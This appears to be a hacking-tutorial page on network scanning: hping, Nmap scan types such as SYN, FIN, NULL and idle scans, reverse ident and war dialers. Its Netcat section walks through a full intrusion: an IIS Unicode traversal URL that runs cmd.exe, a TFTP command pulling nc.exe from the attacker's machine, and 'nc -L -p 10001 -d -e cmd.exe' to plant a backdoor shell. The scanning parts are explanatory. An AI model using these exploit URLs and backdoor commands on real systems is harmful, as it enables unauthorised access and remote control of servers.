HPing

hping is a command-line oriented TCP/IP packet assembler/analyzer. hping sends ICMP echo requests & also supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

Hping is one of the de facto tools for security auditing and testing of firewalls and networks. While hping was mainly used as a security tool in the past, it can be used in many ways by people that don't care about security to test networks and hosts. A subset of the stuff you can do using hping:

• Firewall testing
• Advanced port scanning
• Network testing, using different protocols, TOS, fragmentation
• Manual path MTU discovery
• Advanced traceroute, under all the supported protocols
• Remote OS fingerprinting
• Remote uptime guessing
• TCP/IP stacks auditing

Hping works on the following unix-like systems: Linux, FreeBSD, NetBSD, OpenBSD, Solaris, MacOs X, Windows.

Download HPing at Download Mall

FIG . HPING2 . Click to enlarge

Ping Utility

Ping Utility sends ICMP echo requests to the address you specify and lists the responses received and their round trip time. Alternatively, TCP/UDP packets are sent if incoming ICMP messages are blocked. When the utility is terminated it summarizes the results, giving the average round trip time and the percent packet loss. This utility can be used to determine whether there is a problem with the network connection between two hosts.

TOOLS : Pinger, WS_Ping ProPack, NetScan Tools, HPing, icmpenum

Using NetCat

In this post, I'll demonstrate a tutorial complete hack, using free : NetCat only, just to point out how versatile it is.

type "nc /?" (without quotes) to explore various options/switches related to NetCat.

Port scanning with Netcat

A scanning example from Hobbit is "nc -v -w 2 -z target 20-30". Netcat will try connecting to every port from 20 to 30 at the target.
-z prevents sending any data to a TCP connection and very limited probe data to a UDP connection, and is thus useful as a fast scanning mode just to see what ports the target is listening on.

We scanned 192.168.1.1, ports 1-200. We can see that among others, port 80, 21 and 25 are open.


Banner Grabbing with Netcat
We're now interested in knowing what's running behind port 80 and 21. We can use Netcat to grab port banners in the following way:

Let's try to send a malformed URL which attempts to exploit the Unicode File Traversal vulnerability in unpatched IIS servers (Pre SP3). Basically this exploit allows us to "break out" of C:\inetpub\wwwroot and explore and execute programs anywhere on the attacked machine.



Voila! We've sent the URL:
http://192.168.1.90/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:%5C to the vulnerable IIS server and what we see is a directory listing of the IIS server C drive. Great! Now we want to upload Netcat to the IIS server, so we'll use TFTP and integrate the TFTP commands into the malformed URL



tftp –I 192.168.1.9 GET nc.exe
Is transformed to:
http://<Exploit URL>/c+TFTP+-i+192.168.1.9+GET+nc.exe
Also take a note of your TFTP server, to see if it has successfully uploaded the nc.exe file:





Netcat as a BackDoor
In order to act as a backdoor we need Netcat to listen on a chosen port on the IIS server (lets choose port 10001) and then we can connect to this port from our attacking machine…using Netcat of course!

The command we want to give on the server looks like this:
nc -L -p 10001 -d -e cmd.exe

Here's what that command does:
nc - tells Windows to run the nc.exe file with the following arguments:
-L Tells netcat to not close and wait for connections
-p Specifies a port to listen for a connection on
-d Tells Netcat to detach from the process we want it to run.
-e Tells what program to run once the port is connected to (cmd.exe)

If we now want to convert this command for Unicode URL use, it will look like this:
http://<Exploit URL>/c+nc+-L+-p+10001+-d+-e+cmd.exe
Now we will execute Netcat on the remote IIS machine:



This should have started Netcat listening on port 10001 on the IIS machine and should connect the cmd.exe process to the connection stream. From our machine we will try to connect to the Netcat on the IIS server.


Tada! We have now "Shoveled a Shell" using Netcat. We effectively have a remote command prompt of the IIS server, as can be seen from the IPConfig.



Transferring files using Netcat
We can use Netcat to transfer files from one system to another. To receive a file named hack.txt on the destination system start Netcat on the IIS server with the following command:
nc –l –p 1234 >hack.txt



On our source system (the attacking computer) we send a file named hack.txt to the IIS machine with the following command:
nc destination 1234 <hack.txt



Issue a ^C on the source system and your done. Be sure to check the file to be sure it is the same size as the original. This is what hack.txt looks like



and voila



We can see that the file hack.txt has been transferred to the target system, via port 1234.

NMap

Nmap features include:

• Host Discovery - Identifying computers on a network, for example listing the computers which respond to pings, or which have a particular port open
• Port Scanning - Enumerating the open ports on one or more target computers
• Version Detection - Interrogating listening network services listening on remote computers to determine the application name and version number
• OS Detection - Remotely determining the operating system and some hardware characteristics of network devices.

DOWNLOAD SITE : http://nmap.org/download.html , insecure.org

NULL SCAN

The NULL scan unsets ALL flags available in the TCP header. ACK, FIN, RST, SYN, URG, PSH all become unassigned.

If the port OPEN.
client -> NULL (no flags)
server -> -

Alternatively, an RST packet will be returned if a CLOSED port has been reached
client -> NULL (no flags)
server -> RST

FIN Scan

This works very similar to the SYNACK scan, with inverse mapping used to determine open or closed ports. The basis is that closed ports are required to reply to the probe packet with an RST, while open ports must ignore the packets in question.

client -> FIN

server -> -

No reply signaled by the server is iconic of an open port. The server'soperating system silently dropped the incoming FIN packet to the service running on that port.

Opposing this is the RST reply by the server upon a closed port reached. Since, no service is bound on that port, issuing a FIN invokes a reset(RST) response from the server.

client -> FIN

server -> RST

The scan attempts to exploit vulnerabilities in BSD code. Since most OS are based on BSD or derived from BSD, this was a scan that returned fairly good results. However, most OS have applied patches to correct the problem. However, there remains a possibility that the attacker may come across one where these patches have not been applied.

SYN | ACK Scan

A SYN | ACK flagged bit sent to a closed port elicits a RST response, while an open port will not reply. This is because the TCP protocol requires a SYN flag to initiate the connection.
This scan has a tendency to register fairly large false positives. For instance , packets dropped by filtering devices, network traffic, timeouts etc can given a wrong inference of an open port while the port may or may not be open.

The server ignores the SYN | ACK packet sent to an OPEN PORT.

client -> SYN | ACK
server -> -

Advantages : fast, avoids basic IDS/firewalls, avoids TCP three-way handshake
Disadvantages: less reliable (false positives)

STEALTH SCANNING

The definition of a "stealth" scan has varied over recent years from what Chris Klaus, author of a paper titled "Stealth Scanning: Bypassing Firewalls/SATAN Detectors" delineated. Originally the term was used to describe a technique that avoided IDS and logging, now know as "half-open" scanning.

However, nowadays stealth is considered to be any scan that is concerned with a few of the following:
* setting individual flags (ACK, FIN, RST, .. )
* NULL flags set
* All flags set
* bypassing filters, firewalls, routers
* appearing as casual network traffic
* varied packet dispersal rates

IP ID Header or "DUMB" scanning

IP ID Header or "DUMB" scanning

ID header scanning technique was discovered by antirez, who described it's technical details in a post to bugtraq. Evidently the basis of this scans implementation is reflective on the SYN scan method, although involves a third party host to use as a dummy source.

SILENT or DUMB HOST : is a server that sends and receives little to no traffic at all, hence the characteristic name endowed upon it. Locating one of these hosts requires much effort and host sweeping itself, and is probably more trouble than what it is worth.

Involved in this scenario are three hosts:
* A -> attackers host
* B -> dumb host
* C -> target host

Let's examine this cycle.
* Host A sends a series of ping's analysing the ID field, encapsulated within the IP header to Host B. A dumb host will have the ID increment the reply by 1 each time during the PING sequence.
60 bytes from BBB.BBB.BBB.BBB: seq=1 ttl=64 id=+1 win=0 time=96 ms
60 bytes from BBB.BBB.BBB.BBB: seq=2 ttl=64 id=+1 win=0 time=88 ms
60 bytes from BBB.BBB.BBB.BBB: seq=3 ttl=64 id=+1 win=0 time=92 ms
* Host A sends a spoofed SYN packet to Host C using the source address of Host B. The remote port is any arbitrary port (1-65535) that the attacker wishes to test for open/closed responses. Host C will reply to Host B with one of two standard responses:
-> SYNACK response indicates an open LISTENING port. Host B will then reply with an RST bit flagged in the packet (automated by kernel).
-> RSTACK will indicate a NON-LISTENING port, (a standard SYN scan method reply), and Host B will ignore that packet and send nothing in reply.

Now, how could Host A know what flags were sent to Host B ?
Well, assuming the port was open on the target server, our series of parallel PING's that Host A had been sending whilst the spoofed SYN packets were being sent will hold our answers.

Analyzing the ID field in these PING responses, one would notice a higher ID increment.
60 bytes from BBB.BBB.BBB.BBB: seq=25 ttl=64 id=+1 win=0 time=92 ms
60 bytes from BBB.BBB.BBB.BBB: seq=26 ttl=64 id=+3 win=0 time=80 ms
60 bytes from BBB.BBB.BBB.BBB: seq=27 ttl=64 id=+2 win=0 time=83 ms

Notice the second and third packets ID responses contain values greater than 1, hence an open port was located. Any further increment of more than 1 is indicative of an open port in Host B's responses, during this period.

Originally, the increment was 1, but because Host A sent a spoofed SYN to an open port, Host B had to reply to Host C with the SYNACK bit packet, thus incrementing the ID field. Following this the PING response to Host A would then in turn have a higher ID field, as suspected.

On the other hand, a closed port state on Host C would not require Host B to send anything, so the ID field in the PING response would not be incremented at all.
60 bytes from BBB.BBB.BBB.BBB: seq=30 ttl=64 id=+1 win=0 time=90 ms
60 bytes from BBB.BBB.BBB.BBB: seq=31 ttl=64 id=+1 win=0 time=88 ms
60 bytes from BBB.BBB.BBB.BBB: seq=32 ttl=64 id=+1 win=0 time=87 ms

Once again this is why a "dumb" host is required, so incoming and outgoing traffic is kept at a bare minimum in order to decrease false-positive results.

SYN SCAN

The implementation of this scan method is similar to a full TCP connect() three way handshake except instead of sending ACK responses we immediately tear down the connection.

client -> SYN
server -> SYN | ACK
client -> RST
This example has shown the target port was open, since the server responded with SYN ACK flags. The RST bit is kernel oriented, that is, the client need not send another packet with this bit, since the kernel's TCP/IP stack code automates this. Inversely, a closed port will respond with RST ACK.
client -> SYN
server -> RST | ACK

As such, this scan method will often go unlogged by connection based IDS', and will return fairly positive results (reliability of open/closed port recognition). Instead of sending ACK responses, we immediately tear down the connection.

As is displayed, this combination of flags is indicative of a non- listening port. Although, this technique has become rather easy to detect by many IDS, owing to the fact that a paramount of Denial of Service (DoS) utilities base their attacks by sending excess SYN packets.

Fairly standard intrusion detection systems are no doubt capable of logging these half-open scans: TCP wrappers, SNORT, Courtney, iplog. Notoriously, the SYN method was first used to avoid a well used IDS, named SATAN.

Advantages : fast, reliable, avoids basic IDS, avoids TCP three-way handshake

Disadvantages: require root privileges, rulesets block many SYN scan attempts

HALF-OPEN SCANNING

The term 'half-open' applies to the way the client terminates the connection before the three-way handshake is completed. As such, this scan method will often go unlogged by connection based IDS', and will return fairly positive results (reliability of open/closed port recognition).

We have seen that a TCP connect () scan can be easily logged as the IDS can detect a complete connection being initiated from outside and being established. One way hackers began evading this detection while meeting their objective was to do a half open scan. In a half open scan, a complete TCP connection is not established. Instead, as soon as the server acknowledges with a SYNACK response, the client tears down the connection by sending a RST (or reset connection) flag. This way, the attacker detects an open port listening / running a service from the ACK response, and at the same time succeeds in not establishing a full connect ( ) system call by sending the RST from the kernel level.

HALF-OPEN SCAN is of two types :

• SYN Scan
• IP ID Header "Dumb Scan"

TCP Ports

• A port is a number between 1 and 65,535, and port number references are usually specific to an application.
• Network makes the use of ports which are basically numbers to distinguish between which data packet is received by which application.
  
• A list of well known, registered, and dynamic port numbers is maintained by the Internet Assigned Numbers Authority (IANA) at this location:
• http://www.iana.org/assignments/port-numbers
  

Reverse - Ident

UNIX offers a service called ident or auth which will identify the user of a TCP connection. In the intended operation of this feature, when a user connects to a server, the server sends back a request to the ident service to discover the user's identity.

However, it can also be used in a reverse way. If a server itself also has the ident feature turned on, when a user connects to the server, the user can query the identify of the service it is connecting to.

This helps discover possible accounts that can be broken into.

• technique involves issuing a response to the ident/auth daemon, usually port 113 to query the service for the owner of the running process.
• Finds daemons running as root.
• Intruder finds a vulnerable overflow and instigate other suspicious activities involving this port.
• identd could release miscellaneous private information such as:
  * user info
  * entities
  * objects
  * processes

ADVANTAGES : fast, requires no additional priveleges, return vital service information.
DISADVANTAGES : Easily Detectable

TCP Connect Scan

The TCP connect() scan is named after the connect() call that's used by the operating system to initiate a TCP connection to a remote device. This scan method uses the same TCP handshake connection that every other TCP-based application uses on the network. An active(Open) port sends a SYN|ACK exsuring that it is open, whereas a closed port sends a RST ensuring that it is closed.

TCP Connection with an open port



TCP Connection with a Closed Port



Advantages of the TCP connect() Scan

• No special privileges are required to run the TCP connect() scan.
• Accurate Results
  
• NMap uses the operating system's normal method of connecting to remote devices via TCP before it tears down the connection with the RST packet.
  

Disadvantages of the TCP connect() Scan

• Since the TCP connect() scan is completing a TCP connection, normal application processes immediately follow. These applications are immediately met with a RST packet, but the application has already provided the appropriate login screen or introductory page. By the time the RST is received, the application initiation process is already well underway and additional system resources are used.
• Easy to detect and filter by IDS and Firewall.
  

TCP SCAN TYPES

TCP SCAN TYPES

OPEN SCAN

• TCP Connect
• Reverse Ident

HALF-OPEN SCAN

• SYN Flag
• IP ID Header "dumb scan"

STEALTH SCAN

• SYN ACK Flags
• FIN Flag
• ACK Flag
• NULL Flag
• ALL Flags (XMAS)
• tcp fragmenting

SWEEPS

• TCP echo
• UDP echo
• TCP ACK
• TCP SYN
• ICMP Echo

Misc.

• UDP/ICMP Error
• FTP Bounce

War Dialers

• A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provide access to the system.
• A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to the system.
• Threat is high in systems with poorly configured remote access products providing entry to larger networks.
• Tools include THC-Scan, ToneLoc, TBA etc

DOWNLOAD

Detecting LIVE Systems

Detecting 'Live' Systems On Target Network

• Objective is to look for Live Hosts on the target network so that services and vulnerabilities may be enumerated later
• To determine the perimeter of the target network /system
• To facilitate network mapping
• To build an inventory of accessible systems on target network
• Can be intrusive, may be setected by IDS

Tools

• War Dialers
• Ping Utilities

SCANNING

Network scanning is a procedure for identifying active hosts on a network, either for the purpose of attacking them or for network security assessment.

Scanning is done with the purpose of :

• Detecting 'live' systems on target network.
• Discovering services running/ listening on target systems.
• Understanding port scanning techniques.
• Identifying TCP and UDP services running on target network.
• Discovering the operating system
• Understanding active and passive fingerprinting

Tools Used : NMap, AngryIPScan